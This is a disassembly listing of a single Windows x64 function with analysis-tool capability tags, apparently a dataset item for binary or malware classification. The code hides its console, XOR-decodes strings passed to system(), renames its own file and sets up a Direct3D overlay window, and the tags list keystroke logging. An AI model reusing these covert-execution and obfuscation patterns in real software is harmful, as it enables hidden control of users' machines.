Function at 0x14003bd90
Capabilities:
Check for time delay via queryperformancecounter
Check internet connectivity via wininet
Create thread
Encode data using xor
Execute command
Hide graphical window
Log keystrokes via polling
Move file
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10d0]
mov eax, 0x11d0
call fcn.1400b5c90
sub rsp, rax
movaps xmmword [rsp + 0x11c0], xmm6
movaps xmmword [rsp + 0x11b0], xmm7
movaps xmmword [rsp + 0x11a0], xmm8
movaps xmmword [rsp + 0x1190], xmm9
movaps xmmword [rsp + 0x1180], xmm10
movaps xmmword [rsp + 0x1170], xmm11
movaps xmmword [rsp + 0x1160], xmm12
movaps xmmword [rsp + 0x1150], xmm13
movaps xmmword [rsp + 0x1140], xmm14
movaps xmmword [rsp + 0x1130], xmm15
mov rax, qword [0x1400ee098]
xor rax, rsp
mov qword [rbp + 0x1020], rax
mov r14, rcx
mov qword [rbp + 0x4f0], rcx
xor edi, edi
mov r15d, edi
lea rcx, [rbp + 0x890]
call fcn.1400221a0
cmp qword [rax + 0x18], 0x10
jb 0x14003be4b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x8a8]
cmp rdx, 0x10
jb 0x14003be95
inc rdx
mov rcx, qword [rbp + 0x890]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003be90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c113
call fcn.1400b5358
movdqa xmm0, xmmword [0x1400d9730]
movdqu xmmword [rbp + 0x8a0], xmm0
mov byte [rbp + 0x890], dil
lea rcx, [rbp + 0x8b0]
call fcn.140022360
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14003bec5
mov rbx, qword [rax]
mov r8d, 0x104
lea rdx, [rbp + 0xe10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x358], xmm1
lea rax, [rbp + 0xe10]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003bf00
lea rdx, [rbp + 0xe10]
lea rcx, [rbp + 0x348]
call fcn.14001d630
lea rcx, [rbp + 0x348]
cmp qword [rbp + 0x360], 0x10
cmovae rcx, qword [rbp + 0x348]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp + 0x360]
cmp rdx, 0x10
jb 0x14003bf81
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bf7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bf7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5358
movdqa xmm0, xmmword [0x1400d9730]
movdqu xmmword [rbp + 0x358], xmm0
mov byte [rbp + 0x348], 0
mov rdx, qword [rbp + 0x8c8]
cmp rdx, 0x10
jb 0x14003bfd9
inc rdx
mov rcx, qword [rbp + 0x8b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bfd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c113
call fcn.1400b5358
movdqa xmm0, xmmword [0x1400d9730]
movdqu xmmword [rbp + 0x8c0], xmm0
mov byte [rbp + 0x8b0], 0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rdx, [rbp + 0xdb8]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [rbp + 0xdb8]
lea r9d, [rdx + 0x420]
mov dword [rbp + 0xdc0], r9d
mov r8d, dword [rbp + 0xdbc]
lea ecx, [r8 + 0x207]
mov dword [rbp + 0xdc4], ecx
sub ecx, r8d
sub r9d, edx
mov esi, 1
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], ecx
mov rcx, rbx
call qword [sym.imp.USER32.dll_MoveWindow]
lea r8, str.https:__www.google.com_
lea edx, [rsi + 0x7f]
lea rcx, [rbp + 0xf20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
xor r8d, r8d
mov edx, esi
lea rcx, [rbp + 0xf20]
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x1400418a1
lea rdx, [0x140021a90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6b0], xmm1
lea r8d, [rsi + 0xe]
lea rdx, str._n_n_Conecting...
lea rcx, [rbp + 0x6a0]
call fcn.14001d630
mov dword [rbp + 0x6c0], reloc.WS2_32.dll_sendto
lea rdx, [rbp + 0x6a0]
mov rcx, rbx
call fcn.140021f90
nop
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 0x10
jb 0x14003c11f
inc rdx
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c11a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c11a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5358
movdqa xmm0, xmmword [0x1400d9730]
movdqu xmmword [rbp + 0x6b0], xmm0
mov byte [rbp + 0x6a0], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1400d9290]
mov dword [rsp + 0x7c], eax
mov r12d, 5
lea r13d, [r12 + 0x1a]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400d9293], 0
je 0x14003c243
cmp ebx, 2
jl 0x14003c1fe
movdqa xmm3, xmmword [0x1400d9790]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400d9d10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400d9d10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400d97e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222zy_yyddb6ced1:]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x7c], xmm2
jmp 0x14003c243
lea r9, [rsp + 0x7c]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14003c210
lea rdx, [rsp + 0x7c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001d8c0
lea rdx, [0x140021af0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [str.Q_G5BRAFS7]
mov dword [rbp - 0x80], eax
cmp byte [0x1400d8817], 0
je 0x14003c353
cmp ebx, 2
jl 0x14003c312
movdqa xmm3, xmmword [0x1400d9790]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400d9d10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400d9d10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400d97e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222zy_yyddb6ced1:]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x80], xmm2
jmp 0x14003c353
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14003c320
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003a4b0
mov eax, dword [str.Q_G5BRAFS7]
mov dword [rbp - 0x7c], eax
cmp byte [0x1400d8817], 0
je 0x14003c453
cmp ebx, 2
jl 0x14003c40c
movdqa xmm3, xmmword [0x1400d9790]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400d9d10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400d9d10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400d97e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222zy_yyddb6ced1:]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x7c], xmm2
jmp 0x14003c453
lea r9, [rbp - 0x7c]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14003c420
lea rcx, [rbp - 0x7c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140025d90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 0xd50], 3
mov qword [rbp + 0xd60], rdi
mov qword [rbp + 0xd70], rdi
mov qword [rbp + 0xd88], rdi
lea rax, [0x140028e40]
mov qword [rbp + 0xd58], rax
mov qword [rbp + 0xd68], r14
lea rbx, str.Bastard_Woofer
mov qword [rbp + 0xd90], rbx
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0xd78], rax
mov qword [rbp + 0xd80], Ordinal_22
lea rcx, [rbp + 0xd50]
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
jne 0x14003c50d
mov eax, esi
jmp 0x14003c67c
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0xdc8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0xdd0]
cdq
sub eax, edx
sar eax, 1
lea r9d, [rax - 0x190]
mov eax, 0x55555556
imul dword [rbp + 0xdd4]
mov r8d, edx
shr r8d, 0x1f
add edx, 0xffffff06
add r8d, edx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0x258
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r9d
mov r9d, 0x80880000
mov r8, rbx
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
test rax, rax
jne 0x14003c5a2
lea eax, [rbx + 2]
jmp 0x14003c67c
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rsi, rax
mov qword [rbp + 0x4e8], rax
test rax, rax
jne 0x14003c5cc
mov rdx, r14
lea rcx, str.Bastard_Woofer
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov qword [0x140171e00], rdi
mov qword [0x140171e0c], rdi
mov dword [0x140171e14], edi
mov qword [0x140171e1c], rdi
mov dword [0x140171e24], edi
mov qword [0x140171e34], rdi
mov ecx, 1
mov dword [0x140171e28], ecx
mov dword [0x140171e18], ecx
mov dword [0x140171e08], edi
mov dword [0x140171e2c], ecx
mov dword [0x140171e30], 0x50
mov dword [0x140171e3c], ecx
mov rax, qword [rsi]
mov r10, qword [rax + 0x80]
lea rax, [0x140171df8]
mov qword [rsp + 0x30], rax
lea rax, [0x140171e00]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, rbx
mov r8d, ecx
xor edx, edx
mov rcx, rsi
call r10
test eax, eax
jns 0x14003c6e4
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, r14
lea rcx, str.Bastard_Woofer
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
mov rcx, qword [rbp + 0x1020]
xor rcx, rsp
call fcn.1400b4d80
lea r11, [rsp + 0x11d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [0x140171de0], rbx
mov rax, qword [0x140171df8]
mov qword [0x140171dd0], rax
lea rcx, [0x140171df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14003c7cd
lea rcx, [0x140171de8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14003c7cd
mov rcx, qword [0x1400ee0d0]
mov dword [rcx + 0x34], 9
mov dword [rcx + 0x38], Ordinal_41
mov dword [rcx + 0x3c], Ordinal_45
mov dword [rcx + 0x40], Ordinal_41
mov dword [rcx + 0x44], Ordinal_45
mov dword [rcx + 0x48], reloc.WLDAP32.dll_Ordinal_33
mov dword [rcx + 0x4c], Ordinal_35
mov dword [rcx + 0x50], Ordinal_41
mov dword [rcx + 0x54], reloc.WLDAP32.dll_Ordinal_35
mov dword [rcx + 0x58], reloc.WLDAP32.dll_Ordinal_46
mov dword [rcx + 0x5c], 8
mov dword [rcx + 0x60], reloc.WS2_32.dll_listen
mov dword [rcx + 0x64], reloc.WLDAP32.dll_Ordinal_27
mov dword [rcx + 0x68], 0x41
mov dword [rcx + 0x6c], 0x43
mov dword [rcx + 0x70], 0x56
mov dword [rcx + 0x74], 0x58
mov dword [rcx + 0x78], 0x59
mov dword [rcx + 0x7c], 0x5a
lea rax, [0x14001b4c0]
mov qword [rcx + 0xc8], rax
mov rax, qword [0x140171de0]
mov qword [rcx + 0x100], rax
jmp 0x14003c7d4
mov rcx, qword [0x1400ee0d0]
movss xmm10, dword [0x1400d95a0]
mov qword [rbp + 0x368], 0x3f800000
xorps xmm7, xmm7
mov dword [rbp + 0x370], 0
mov dword [rbp + 0x374], 0x3f800000
movups xmm0, xmmword [rbp + 0x368]
movups xmmword [rcx + 0x16f0], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rcx + 0x1710], xmm1
movaps xmm0, xmmword [0x1400d9950]
movups xmmword [rcx + 0x1720], xmm0
movaps xmm1, xmm0
movups xmmword [rcx + 0x1700], xmm0
movaps xmm0, xmmword [0x1400d9c60]
movups xmmword [rcx + 0x1480], xmm0
movaps xmm1, xmm0
movups xmmword [rcx + 0x1490], xmm0
movaps xmm0, xmmword [0x1400d9940]
movups xmmword [rcx + 0x14a0], xmm0
movaps xmm1, xmmword [0x1400d9bd0]
movups xmmword [rcx + 0x14c0], xmm1
movaps xmm0, xmmword [0x1400d9c60]
movups xmmword [rcx + 0x14d0], xmm0
movaps xmm1, xmm0
movups xmmword [rcx + 0x1500], xmm0
movaps xmm0, xmmword [0x1400d99f0]
movups xmmword [rcx + 0x1510], xmm0
movups xmmword [rcx + 0x1520], xmm1
movaps xmm0, xmm1
movups xmmword [rcx + 0x1530], xmm1
movaps xmm1, xmmword [0x1400d9b80]
movups xmmword [rcx + 0x1540], xmm1
movaps xmm0, xmm1
movups xmmword [rcx + 0x1560], xmm1
movaps xmm1, xmmword [0x1400d9ba0]
movups xmmword [rcx + 0x1550], xmm1
movups xmmword [rcx + 0x1570], xmm0
movaps xmm1, xmmword [0x1400d9a70]
movups xmmword [rcx + 0x1580], xmm1
movaps xmm0, xmm1
movups xmmword [rcx + 0x1590], xmm1
movups xmmword [rcx + 0x15a0], xmm1
movups xmmword [rcx + 0x15b0], xmm1
movups xmmword [rcx + 0x15d0], xmm1
movups xmmword [rcx + 0x15e0], xmm1
movups xmmword [rcx + 0x15f0], xmm1
movaps xmm0, xmmword [0x1400d9930]
movups xmmword [rcx + 0x1600], xmm0
movaps xmm1, xmmword [0x1400d9a90]
movups xmmword [rcx + 0x1640], xmm1
movaps xmm0, xmmword [0x1400d9960]
movups xmmword [rcx + 0x1650], xmm0
movaps xmm1, xmmword [0x1400d9a80]
movups xmmword [rcx + 0x1660], xmm1
movaps xmm0, xmmword [0x1400d9a70]
movups xmmword [rcx + 0x1670], xmm0
movaps xmm1, xmm0
movups xmmword [rcx + 0x1680], xmm0
movaps xmm0, xmmword [0x1400d99e0]
movups xmmword [rcx + 0x16c0], xmm0
movaps xmm1, xmmword [0x1400d9b80]
movups xmmword [rcx + 0x16d0], xmm1
movaps xmm0, xmm1
movups xmmword [rcx + 0x16e0], xmm1
movups xmmword [rcx + 0x1730], xmm1
xorps xmm0, xmm0
movups xmmword [rcx + 0x1740], xmm0
movaps xmm1, xmmword [0x1400d9a70]
movups xmmword [rcx + 0x1750], xmm1
movaps xmm0, xmm1
movups xmmword [rcx + 0x1760], xmm1
movaps xmm1, xmmword [0x1400d9970]
movups xmmword [rcx + 0x1770], xmm1
mov dword [rcx + 0x1424], 0x40800000
mov dword [rcx + 0x1428], 0x40000000
mov dword [rcx + 0x1430], 0x41200000
mov dword [rcx + 0x1434], 0x40000000
mov dword [rcx + 0x1448], 0x41400000
mov dword [rcx + 0x1450], 0x41200000
mov dword [rcx + 0x1414], 0x41200000
mov dword [rcx + 0x142c], 0x40800000
mov dword [rcx + 0x1454], 0x40c00000
mov dword [rcx + 0x145c], 0x40c00000
xorps xmm0, xmm0
movups xmmword [rbp + 0xdd8], xmm0
movups xmmword [rbp + 0xde8], xmm0
movups xmmword [rbp + 0xdf8], xmm0
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rbp + 0xda0], edi
mov dword [rbp + 0xda4], edi
mov dword [rbp + 0xda8], edi
mov rbx, qword [0x1400ee0d0]
mov rcx, qword [rbx + 0x90]
call fcn.140017d20
mov r11, qword [rbx + 0x90]
call fcn.140019c60
mov r10, rax
mov qword [rbp + 0x740], rdi
mov dword [rbp + 0x748], edi
mov byte [rbp + 0x74c], 1
mov qword [rbp + 0x750], rdi
mov dword [rbp + 0x758], 3
mov dword [rbp + 0x75c], 1
mov byte [rbp + 0x760], 0
mov qword [rbp + 0x764], 0
mov qword [rbp + 0x76c], 0
mov qword [rbp + 0x778], rdi
mov byte [rbp + 0x780], 0
mov qword [rbp + 0x7a8], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x781], xmm0
movups xmmword [rbp + 0x791], xmm0
movups xmm0, xmmword [rbp + 0x740]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbp + 0x750]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rbp + 0x760]
movups xmmword [rbp - 0x50], xmm0
movups xmm2, xmmword [rbp + 0x770]
movups xmmword [rbp - 0x40], xmm2
movups xmm0, xmmword [rbp + 0x780]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbp + 0x790]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rbp + 0x7a0]
movups xmmword [rbp - 0x10], xmm0
lea rax, [0x14010afb0]
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], 0x292c4
mov dword [rbp - 0x5c], 0x42100000
psrldq xmm2, 8
movq rax, xmm2
test r10, r10
cmovne rax, r10
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x70]
mov rcx, r11
call fcn.140017ac0
mov qword [rbp + 0x218], rax
mov r11, qword [rbx + 0x90]
call fcn.140019c60
mov r10, rax
mov qword [rbp + 0x6d0], rdi
mov dword [rbp + 0x6d8], edi
mov byte [rbp + 0x6dc], 1
mov qword [rbp + 0x6e0], rdi
mov dword [rbp + 0x6e8], 3
mov dword [rbp + 0x6ec], 1
mov byte [rbp + 0x6f0], 0
mov qword [rbp + 0x6f4], 0
mov qword [rbp + 0x6fc], 0
mov qword [rbp + 0x708], rdi
mov byte [rbp + 0x710], 0
mov qword [rbp + 0x738], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x711], xmm0
movups xmmword [rbp + 0x721], xmm0
movups xmm0, xmmword [rbp + 0x6d0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbp + 0x6e0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rbp + 0x6f0]
movups xmmword [rbp - 0x50], xmm0
movups xmm2, xmmword [rbp + 0x700]
movups xmmword [rbp - 0x40], xmm2
movups xmm0, xmmword [rbp + 0x710]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbp + 0x720]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rbp + 0x730]
movups xmmword [rbp - 0x10], xmm0
lea rax, [0x14010afb0]
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], 0x292c4
movss xmm0, dword [0x1400d9608]
movss dword [rbp - 0x5c], xmm0
psrldq xmm2, 8
movq rax, xmm2
test r10, r10
cmovne rax, r10
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x70]
mov rcx, r11
call fcn.140017ac0
mov qword [rbp + 0x4e0], rax
mov r11, qword [rbx + 0x90]
call fcn.140019c60
mov r10, rax
mov qword [rbp + 0x7b0], rdi
mov dword [rbp + 0x7b8], edi
mov byte [rbp + 0x7bc], 1
mov qword [rbp + 0x7c0], rdi
mov dword [rbp + 0x7c8], 3
mov dword [rbp + 0x7cc], 1
mov byte [rbp + 0x7d0], 0
mov qword [rbp + 0x7d4], 0
mov qword [rbp + 0x7dc], 0
mov qword [rbp + 0x7e8], rdi
mov byte [rbp + 0x7f0], 0
mov qword [rbp + 0x818], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f1], xmm0
movups xmmword [rbp + 0x801], xmm0
movups xmm0, xmmword [rbp + 0x7b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbp + 0x7c0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rbp + 0x7d0]
movups xmmword [rbp - 0x50], xmm0
movups xmm2, xmmword [rbp + 0x7e0]
movups xmmword [rbp - 0x40], xmm2
movups xmm0, xmmword [rbp + 0x7f0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbp + 0x800]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rbp + 0x810]
movups xmmword [rbp - 0x10], xmm0
lea rax, [0x14010afb0]
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], 0x292c4
movss xmm0, dword [0x1400d95fc]
movss dword [rbp - 0x5c], xmm0
psrldq xmm2, 8
movq rax, xmm2
test r10, r10
cmovne rax, r10
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x70]
mov rcx, r11
call fcn.140017ac0
mov qword [rbp + 0x4d8], rax
mov r11, qword [rbx + 0x90]
call fcn.140019c60
mov r10, rax
mov qword [rbp + 0x820], rdi
mov dword [rbp + 0x828], edi
mov byte [rbp + 0x82c], 1
mov qword [rbp + 0x830], rdi
mov dword [rbp + 0x838], 3
mov ebx, 1
mov dword [rbp + 0x83c], ebx
mov byte [rbp + 0x840], 0
mov qword [rbp + 0x844], 0
mov qword [rbp + 0x84c], 0
mov qword [rbp + 0x858], rdi
mov byte [rbp + 0x860], 0
mov qword [rbp + 0x888], rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x861], xmm0
movups xmmword [rbp + 0x871], xmm0
movups xmm0, xmmword [rbp + 0x820]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbp + 0x830]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rbp + 0x840]
movups xmmword [rbp - 0x50], xmm0
movups xmm2, xmmword [rbp + 0x850]
movups xmmword [rbp - 0x40], xmm2
movups xmm0, xmmword [rbp + 0x860]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbp + 0x870]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rbp + 0x880]
movups xmmword [rbp - 0x10], xmm0
lea rax, [0x140105540]
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], 0x5a50
mov dword [rbp - 0x5c], 0x42100000
psrldq xmm2, 8
movq rax, xmm2
test r10, r10
cmovne rax, r10
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x70]
mov rcx, r11
call fcn.140017ac0
mov qword [rbp + 0x4d0], rax
lea rax, [0x14016e2f8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x15a5e
lea rdx, [0x1400ee0e0]
call fcn.14003a240
lea rax, [0x14016e300]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x1fa8
lea rdx, [0x140150230]
call fcn.14003a240
lea rax, [0x14016e2a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x3862
lea rdx, [0x14015bc70]
call fcn.14003a240
lea rax, [0x14016e2d8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x5b14
lea rdx, [0x140152200]
call fcn.14003a240
lea rax, [0x14016e2c8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x6e59
lea rdx, [0x140143950]
call fcn.14003a240
lea rax, [0x14016e2b8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xda4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xda0]
mov r8d, 0x6051
lea rdx, [0x14015f4e0]
call fcn.14003a240
lea rax, [0x14016e2b0]
